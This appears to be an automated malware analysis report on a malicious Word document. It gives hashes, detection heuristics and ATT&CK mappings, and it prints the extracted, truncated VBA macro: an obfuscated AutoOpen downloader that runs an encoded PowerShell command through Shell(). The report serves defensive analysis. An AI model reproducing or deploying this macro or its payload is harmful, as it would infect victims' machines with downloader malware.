Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53eef825f55bed4a…

MALICIOUS

Office (OLE)

84.8 KB Created: 2018-06-01 20:17:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 9361ee28454a40b3cef8b2b7854d38df SHA-1: c3169576f9e1d9b569b4f9e412d51bcd62a29f15 SHA-256: 53eef825f55bed4a0db0262d511a318449451f8f87132d840cd64194a062c993
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function that calls the Shell() function. This function is used to execute a PowerShell command, which is obfuscated through string concatenation. The reconstructed PowerShell command is 'powershell -e IAAoAE4AZQBXAC0ATwBCAEoAZQBjAFQAIABzAFkAbwBvAGsAdQAuAEEAYwB3AEEAQQB1AGkAbwBwAGUAcgBhAHQAbwByAC4AZABlAHYA', indicating it's designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Downloader.Powload-6874532-0' further supports this downloader behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6874532-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6874532-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10450 bytes
SHA-256: fe55ece38a11bd8d940047673d34d9005a08f65d747d94a2c25b201055414e5a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ttNzbkHUmE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function lsjcFBB()
On Error Resume Next
fTiUom = 48137 + Log(93397) - lOalk / Atn(43184) / jdcsZ / VaJln
bziZFF = CSng(46170 * CInt(20978) + 98044 - 36041)
dvaGiS = 72647 + Log(30577) - RYUuLq / Atn(35326) / wILDw / VSCpUf
LUQCz = CSng(93143 * CInt(97900) + 98483 - 83593)
lsjcFBB = MjnbOJD + Shell(ooWBIvNkb + Chr(vbKeyP) + jVJNirSKXz + mcpKTOi + kpJbKPzfr + hzwjWZFrZ + mbvjdMzd, iFjOpO + vbHide + nDjupSBnviI)
XVHWC = 54732 + Log(77864) - OnwMq / Atn(14126) / iLFob / RkUFEE
MuTaGA = CSng(76917 * CInt(65071) + 84077 - 27198)
End Function
Sub Autoopen()
On Error Resume Next
pNbGs = 26819 + Log(98151) - JiUltK / Atn(29932) / GkmRwY / BTTXFp
qnwmz = CSng(27282 * CInt(3982) + 20726 - 84761)
lsjcFBB
GauNs = 17433 + Log(50242) - rWhwF / Atn(94239) / RRZmY / topnho
LBcvs = CSng(60934 * CInt(20169) + 46572 - 57014)
End Sub


Attribute VB_Name = "JKtHOTlthzSh"
Function jVJNirSKXz()
On Error Resume Next
CcnIK = 21142 + Log(85049) - UCZRrc / Atn(49317) / tWbEk / oSKihY
OhoRhz = CSng(9918 * CInt(90954) + 65158 - 44183)
UzScVnDwt = "owersH" + "eLL -e IAAoAE" + "4AZQBXAC0ATwB" + "CAEoAZQBjAF" + "QAIABzAFk"
DmOXnX = 36882 + Log(17567) - uStKVQ / Atn(31209) / UwcdTH / UlAJf
ILzzA = CSng(96096 * CInt(44652) + 32540 - 60704)
koNHjPOIAk = "AcwBUA" + "EUATQ" + "AuAGkAbwAuAFM" + "AVAB" + "yAEUAQQBNAHIARQ" + "BhAEQARQ" + "BSAC"
PXdzvo = 56034 + Log(90502) - hRaju / Atn(99816) / fJCBXJ / alGtNV
tWoKN = CSng(11566 * CInt(80730) + 18075 - 17699)
FHtwLooRzF = "gAIAAoAE4AZQ" + "BXAC0ATw" + "BCAEoAZQBjAFQAI" + "AAgAEkATwAuAE" + "MATwBNAFAA" + "cgBFAHMAUwBJ" + "AE8AT" + "gAuAGQARQB" + "GAGwAYQBUAGUA" + "UwBUAFIARQBBAG"
IFszDh = 54137 + Log(9773) - QSNOdP / Atn(10251) / DMpuQZ / oumYht
VAWtSR = CSng(61804 * CInt(44251) + 7771 - 59239)
zsojcluqHd = "0AKAAgAFsAUwB5A" + "FMAVABFAG" + "0ALgBpAE8AL" + "gBtAGUATQBvAHIA" + "WQBzAFQAU" + "gBFAEEAbQBdACAA"
OEAfIK = 90547 + Log(15179) - mzUls / Atn(60188) / JIvDXE / wNrkz
NjIKGB = CSng(42024 * CInt(96197) + 17967 - 72959)
hzFhjDI = "WwBz" + "AF" + "kAU" + "wB0AGUAbQA" + "uAGMAbwB" + "uAF" + "YAZQByAHQAXQA6" + "ADoAZ" + "gBSAG8ATQB" + "CAEEAUwBlA"
dZhHYj = 70658 + Log(1810) - XWOIbQ / Atn(20902) / DRQazT / FpJfrJ
zWUZwW = CSng(29316 * CInt(46165) + 64756 - 13512)
KzhkfWlju = "DYANABTAFQAU" + "gBJAE4ARwAoACAA" + "JwBOAFYASgB" + "oAGEAOQBz" + "AH" + "cARQ" + "BQAD" + "AAKwAyAEgAOAB" + "RAH"
LQrSzi = 78861 + Log(81314) - urVAjF / Atn(68976) / jWFJd / WrnBSo
fjJqm = CSng(6545 * CInt(13561) + 75518 - 80094)
WTQIIPw = "cAVgBRAF" + "MAY" + "gBxAFEAMQAyAF" + "kAYw" + "B1AF" + "oAdABBAHQ" + "ANgBTAEIAbA"
qAUBIB = 37571 + Log(86496) - mMoLBZ / Atn(65182) / UaLjWB / OILKu
cOtuO = CSng(17185 * CInt(16400) + 49151 - 28764)
ivHpLRVPZCi = "BTADIASABlAG" + "wAaABiA" + "DIAdwBZAHEAcwA" + "xAEoA" + "NQBsAHkAVgBoAEs" + "AMgBqAFQA" + "awB2AC8AYwB1" + "AHkAU" + "QB4ADMAbABv" + "ADc"
UJaCEq = 46580 + Log(15220) - EOnNd / Atn(89344) / zzmzq / wqJwv
nRZPF = CSng(68859 * CInt(83921) + 45643 - 91905)
uAOUWuCqbQ = "AMwA3AHUAbQBlA" + "GwATABpAGcAUw" + "BoAFYASwA4AH" + "AAbABjAE0AT" + "wBwAG8AUw"
RYjDtq = 77163 + Log(80351) - PAtJK / Atn(74532) / ALKjs / vHUzi
hdmWYz = CSng(61566 * CInt(28465) + 31101 - 75038)
butsSCN = "BnADEATgBHA" + "FgAM" + "gB" + "HAHgAUgBEAEMAcg" + "AvADQ" + "AWgBUAFgAbABLA" + "EkAKwB"
jVJNirSKXz = UzScVnDwt + koNHjPOIAk + FHtwLooRzF + zsojcluqHd + hzFhjDI + KzhkfWlju + WTQIIPw + ivHpLRVPZCi + uAOUWuCqbQ + butsSCN
End Function
Function mcpKTOi()
On Error Resume Next
ICTwf = 31328 + Log(87795) - Odqjj / Atn(25448) / GLcci / LpHYdd
JiXwN = CSng(92532 * CInt(4410) + 64667 - 48288)
pfNHAb = "XAGsAVgA2ADcAM" + "ABiAFoAWQA4A" + "FAAdgA" + "0AEcAdQBBAEEAN" + "ABZAEIASABLADY" + "AQg" + "BDAEEAeQBOAFgA" + "MABDAE" + "8AVQBrADMANABW"
QrasQ = 40663 + Log(84380) - FJMtVm / Atn(76642) / UwMLX / m
... (truncated)

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